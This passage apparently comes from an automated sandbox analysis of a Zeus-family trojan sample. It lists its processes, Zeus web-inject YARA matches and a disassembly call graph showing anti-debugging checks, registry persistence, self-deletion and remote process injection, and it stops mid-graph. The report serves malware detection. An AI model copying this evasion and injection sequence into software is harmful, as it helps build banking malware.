                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000017.00000002.2469299462.0000000002920000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000017.00000002.2469451874.0000000002AC0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:24
                                                                                                                                                                                                          Start time:12:42:51
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5616 -ip 5616
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:25
                                                                                                                                                                                                          Start time:12:42:52
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000019.00000002.2472684695.00000000008E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000019.00000002.2473316243.0000000002650000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:26
                                                                                                                                                                                                          Start time:12:42:52
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2672 -ip 2672
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:27
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001B.00000002.2475050431.00000000029F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001B.00000002.2477343804.0000000002DA0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:28
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3436 -ip 3436
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:29
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001D.00000002.2479482654.0000000002D00000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001D.00000002.2478719931.0000000002920000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:30
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4764 -ip 4764
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:31
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001F.00000002.2486303903.0000000002410000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001F.00000002.2486764914.00000000025D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:32
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3656 -ip 3656
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:34
                                                                                                                                                                                                          Start time:12:42:53
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000022.00000002.2487689003.0000000002950000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000022.00000002.2487542677.00000000027F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:35
                                                                                                                                                                                                          Start time:12:42:54
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4460 -ip 4460
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:36
                                                                                                                                                                                                          Start time:12:42:54
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000024.00000002.2570365409.0000000002C90000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000024.00000002.2535425288.00000000028C0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:37
                                                                                                                                                                                                          Start time:12:42:54
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2212 -ip 2212
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:38
                                                                                                                                                                                                          Start time:12:42:54
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:39
                                                                                                                                                                                                          Start time:12:42:54
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2180 -ip 2180
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          Disassembly

                                                                                                                                                                                                          Reset < >

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:1.4%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                            Signature Coverage:70.2%
                                                                                                                                                                                                            Total number of Nodes:275
                                                                                                                                                                                                            Total number of Limit Nodes:11
                                                                                                                                                                                                            execution_graph 30203 402b70 30273 401000 IsDebuggerPresent 30203->30273 30205 402b81 LoadLibraryA GetModuleFileNameA 30293 403920 GetModuleFileNameA strstr 30205->30293 30208 402bb1 30309 4021b0 CreateFileA 30208->30309 30209 402ba9 ExitProcess 30214 402be6 30320 402340 CreateFileA 30214->30320 30215 402bce GetTickCount PostMessageA 30215->30214 30224 402c06 30435 4033b0 70 API calls 30224->30435 30225 402c17 IsUserAnAdmin GetModuleHandleA 30227 402c50 30225->30227 30228 402c31 GetProcAddress 30225->30228 30231 402ca2 30227->30231 30232 402c56 30227->30232 30228->30227 30230 402c43 GetCurrentProcess 30228->30230 30229 402c0b 30229->30225 30233 402c0f ExitProcess 30229->30233 30230->30227 30234 402d59 30231->30234 30235 402caa StrStrIA 30231->30235 30236 402c70 30232->30236 30237 402c5a StrStrIA 30232->30237 30242 401130 13 API calls 30234->30242 30238 402cc0 30235->30238 30239 402cfd 30235->30239 30346 401130 memset memset 30236->30346 30237->30236 30240 402c93 30237->30240 30245 401130 13 API calls 30238->30245 30246 4028b0 98 API calls 30239->30246 30389 4028b0 VirtualQuery GetModuleFileNameA 30240->30389 30243 402d64 GlobalFindAtomA 30242->30243 30250 402db4 ExitProcess 30243->30250 30251 402d74 GlobalAddAtomA IsUserAnAdmin 30243->30251 30253 402ccb GlobalFindAtomA 30245->30253 30248 402d02 GlobalFindAtomA 30246->30248 30254 402d52 30248->30254 30255 402d12 GlobalAddAtomA IsUserAnAdmin 30248->30255 30257 402d95 IsUserAnAdmin 30251->30257 30258 402cf4 30251->30258 30253->30250 30260 402cdf GlobalAddAtomA IsUserAnAdmin 30253->30260 30265 401520 9 API calls 30254->30265 30261 402d33 IsUserAnAdmin 30255->30261 30262 402d23 30255->30262 30263 402da0 30257->30263 30258->30257 30260->30257 30260->30258 30266 402d3e 30261->30266 30262->30261 30267 401aa0 7 API calls 30263->30267 30264 402c9d 30264->30250 30265->30264 30436 401aa0 memset CreateToolhelp32Snapshot 30266->30436 30269 402dab 30267->30269 30269->30250 30271 401b70 32 API calls 30269->30271 30270 402d49 30270->30254 30272 401b70 32 API calls 30270->30272 30271->30250 30272->30254 30274 401022 FindWindowA 30273->30274 30275 40111b 30273->30275 30274->30275 30276 401038 memset CreateToolhelp32Snapshot 30274->30276 30275->30205 30277 401063 Process32First 30276->30277 30278 4010d1 30276->30278 30280 401083 StrStrIA 30277->30280 30279 401aa0 7 API calls 30278->30279 30284 40110e 30278->30284 30281 4010df 30279->30281 30282 4010a3 30280->30282 30283 401097 Process32Next 30280->30283 30281->30284 30286 401aa0 7 API calls 30281->30286 30282->30278 30285 4010b3 GetHandleInformation 30282->30285 30283->30280 30283->30282 30284->30205 30285->30278 30287 4010c3 30285->30287 30288 4010ed 30286->30288 30287->30278 30289 4010ca FindCloseChangeNotification 30287->30289 30288->30284 30290 401aa0 7 API calls 30288->30290 30289->30278 30291 4010fb 30290->30291 30291->30284 30292 4010ff PathFileExistsA 30291->30292 30292->30284 30294 403974 30293->30294 30295 402ba5 30293->30295 30446 403870 RegOpenKeyExA 30294->30446 30295->30208 30295->30209 30298 403981 GetUserNameA CharUpperA strstr 30298->30295 30299 4039b8 strstr 30298->30299 30299->30295 30300 4039d1 strstr 30299->30300 30300->30295 30301 4039ea strstr 30300->30301 30301->30295 30302 403a03 strstr 30301->30302 30302->30295 30303 403a1c GetSystemWindowsDirectoryA GetVolumeInformationA 30302->30303 30303->30295 30304 403a5c 30303->30304 30304->30295 30305 403a78 GetModuleFileNameA StrStrIA 30304->30305 30305->30295 30306 403aa0 StrStrIA 30305->30306 30306->30295 30307 403ab2 StrStrIA 30306->30307 30307->30295 30308 403ac4 30307->30308 30308->30295 30310 402330 30309->30310 30311 402300 DeviceIoControl CloseHandle 30309->30311 30312 4020c0 memset SHGetFolderPathA 30310->30312 30311->30310 30313 402187 30312->30313 30314 40211e PathAppendA SetCurrentDirectoryA 30312->30314 30316 402192 FindWindowA 30313->30316 30317 40218b FreeLibrary 30313->30317 30314->30313 30315 402141 LoadLibraryA 30314->30315 30315->30313 30318 402155 GetProcAddress 30315->30318 30316->30214 30316->30215 30317->30316 30318->30313 30319 402165 30318->30319 30319->30313 30321 4023e3 WriteFile GetSystemTimeAsFileTime WriteFile CloseHandle 30320->30321 30322 402424 30320->30322 30321->30322 30323 402430 SHGetFolderPathA 30322->30323 30324 402515 30323->30324 30325 402457 30323->30325 30327 402520 SHGetFolderPathA 30324->30327 30325->30325 30326 4024cc MoveFileA 30325->30326 30326->30324 30328 40264f 30327->30328 30329 40254b CreateFileA 30327->30329 30332 402660 CoInitializeEx 30328->30332 30329->30328 30331 4025b1 11 API calls 30329->30331 30331->30328 30333 40268e 30332->30333 30334 40269f GetModuleFileNameW SysAllocString 30332->30334 30333->30334 30336 4028a4 IsUserAnAdmin 30333->30336 30335 4026cd SysAllocString 30334->30335 30340 402846 30334->30340 30337 402833 SysFreeString 30335->30337 30338 4026de CoCreateInstance 30335->30338 30336->30224 30336->30225 30339 402843 SysFreeString 30337->30339 30337->30340 30342 402705 30338->30342 30344 402807 30338->30344 30339->30340 30340->30336 30341 40289e CoUninitialize 30340->30341 30341->30336 30342->30337 30343 402793 CoCreateInstance 30342->30343 30342->30344 30345 4027b5 30343->30345 30344->30337 30345->30344 30347 40118a IsUserAnAdmin 30346->30347 30348 4012ce GetCurrentProcessId 30346->30348 30349 401280 RegOpenKeyExA 30347->30349 30350 401198 RegCreateKeyExA 30347->30350 30357 401b70 30348->30357 30351 4012b6 30349->30351 30353 40129e RegSetValueExA 30349->30353 30350->30351 30352 4011be GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 30350->30352 30351->30348 30354 4012bd RegFlushKey RegCloseKey 30351->30354 30355 401221 30352->30355 30353->30351 30354->30348 30356 40125e RegSetValueExA 30355->30356 30356->30351 30358 401dd8 Sleep 30357->30358 30360 401b86 30357->30360 30358->30250 30361 401ba5 30360->30361 30362 401b9b Sleep 30360->30362 30451 401fb0 11 API calls 30360->30451 30452 401fb0 11 API calls 30361->30452 30362->30360 30362->30361 30364 401bac 30365 401dd3 30364->30365 30366 401bb4 OpenProcess 30364->30366 30365->30358 30366->30365 30367 401bcf GetModuleHandleA 30366->30367 30368 401c06 30367->30368 30369 401beb GetProcAddress 30367->30369 30371 401c0c GetModuleHandleA 30368->30371 30372 401c3f VirtualAllocEx 30368->30372 30369->30368 30370 401bf9 GetCurrentProcess 30369->30370 30370->30368 30375 401c22 GetProcAddress 30371->30375 30377 401c2e 30371->30377 30373 401db0 GetHandleInformation 30372->30373 30374 401c82 WriteProcessMemory 30372->30374 30373->30365 30378 401dc6 30373->30378 30376 401d1f WriteProcessMemory FlushInstructionCache CreateRemoteThread 30374->30376 30383 401cae 30374->30383 30375->30377 30381 401d62 GetHandleInformation 30376->30381 30382 401d8e RtlCreateUserThread 30376->30382 30377->30372 30377->30373 30378->30365 30379 401dcc CloseHandle 30378->30379 30379->30365 30380 401cb1 VirtualAlloc 30380->30383 30384 401cc9 memcpy WriteProcessMemory VirtualFree 30380->30384 30385 401d85 30381->30385 30386 401d78 30381->30386 30382->30373 30383->30380 30387 401d19 30383->30387 30384->30383 30385->30373 30386->30385 30388 401d7e CloseHandle 30386->30388 30387->30376 30388->30385 30390 402910 30389->30390 30390->30390 30391 40291f PathFileExistsA 30390->30391 30392 402932 GetSystemWindowsDirectoryA 30391->30392 30393 402a39 _snprintf CopyFileA 30391->30393 30394 402947 30392->30394 30395 402b66 30393->30395 30396 402a76 30393->30396 30394->30394 30397 40294f GetModuleHandleA 30394->30397 30430 401520 VirtualQuery GetModuleFileNameA PathFileExistsA 30395->30430 30398 401130 13 API calls 30396->30398 30399 4029a7 30397->30399 30400 402987 GetProcAddress 30397->30400 30401 402a7f 30398->30401 30403 4029d6 GetTickCount 30399->30403 30427 4029ad 30399->30427 30400->30399 30402 402999 GetCurrentProcess 30400->30402 30453 401de0 30401->30453 30402->30399 30515 401600 GetTickCount GetModuleHandleA GetProcAddress 30403->30515 30408 4029e2 30516 401920 GetTickCount GetModuleHandleA GetProcAddress 30408->30516 30411 402a99 RtlImageNtHeader 30414 402aa4 30411->30414 30415 402abd GetProcessHeap HeapValidate 30411->30415 30412 402add 30493 401ea0 CreateFileA 30412->30493 30482 4012e0 30414->30482 30415->30412 30417 402ad2 GetProcessHeap HeapFree 30415->30417 30417->30412 30419 402abb 30419->30415 30420 402b2f 30423 402b3f GlobalFindAtomA 30420->30423 30504 4019b0 memset memset lstrcpynA CreateProcessA 30420->30504 30421 402b0f GetProcAddress 30421->30420 30422 402b21 GetCurrentProcess 30421->30422 30422->30420 30425 402b5b GlobalAddAtomA 30423->30425 30426 402b4f 30423->30426 30425->30395 30428 401520 9 API calls 30426->30428 30427->30393 30429 402b54 ExitProcess 30428->30429 30431 40157c GetTempPathA GetTempFileNameA MoveFileExA 30430->30431 30433 4015ef 30430->30433 30432 4015c3 SetFileAttributesA DeleteFileA 30431->30432 30431->30433 30432->30433 30434 4015e3 MoveFileExA 30432->30434 30433->30264 30434->30433 30435->30229 30437 401ae7 Process32First 30436->30437 30438 401adc 30436->30438 30439 401b07 StrStrIA 30437->30439 30438->30270 30440 401b16 Process32Next 30439->30440 30441 401b22 30439->30441 30440->30439 30440->30441 30442 401b50 30441->30442 30443 401b32 GetHandleInformation 30441->30443 30442->30270 30443->30442 30444 401b42 30443->30444 30444->30442 30445 401b49 FindCloseChangeNotification 30444->30445 30445->30442 30447 4038d5 30446->30447 30448 4038a6 RegQueryValueExA 30446->30448 30447->30295 30447->30298 30449 4038db RegCloseKey 30448->30449 30450 4038cb RegCloseKey 30448->30450 30449->30447 30450->30447 30451->30360 30452->30364 30454 401e97 30453->30454 30455 401dfb 30453->30455 30466 4013c0 30454->30466 30456 4013c0 16 API calls 30455->30456 30457 401e04 30456->30457 30457->30454 30458 401e0e RtlImageNtHeader 30457->30458 30459 401e75 GetProcessHeap HeapValidate 30458->30459 30460 401e1b GetTickCount GetModuleHandleA 30458->30460 30459->30454 30461 401e8b GetProcessHeap HeapFree 30459->30461 30462 401e55 30460->30462 30463 401e3e GetProcAddress 30460->30463 30461->30454 30464 4012e0 8 API calls 30462->30464 30463->30462 30465 401e4e 30463->30465 30464->30459 30465->30462 30467 4013d6 CreateFileA 30466->30467 30468 4014eb 30466->30468 30467->30468 30470 4013f8 GetFileSizeEx 30467->30470 30469 4014f2 IsBadWritePtr 30468->30469 30471 401501 30468->30471 30469->30471 30472 4014ba 30470->30472 30473 401417 GetProcessHeap RtlAllocateHeap 30470->30473 30471->30411 30471->30412 30472->30468 30474 4014cf GetHandleInformation 30472->30474 30475 401445 30473->30475 30476 401436 memset 30473->30476 30474->30468 30477 4014de 30474->30477 30475->30472 30478 40144c SetFilePointer LockFile ReadFile UnlockFile 30475->30478 30476->30475 30477->30468 30479 4014e4 FindCloseChangeNotification 30477->30479 30478->30472 30480 401498 GetProcessHeap HeapValidate 30478->30480 30479->30468 30480->30472 30481 4014ae GetProcessHeap HeapFree 30480->30481 30481->30472 30483 4012f4 30482->30483 30484 4013ad 30482->30484 30483->30484 30485 401305 CreateFileA 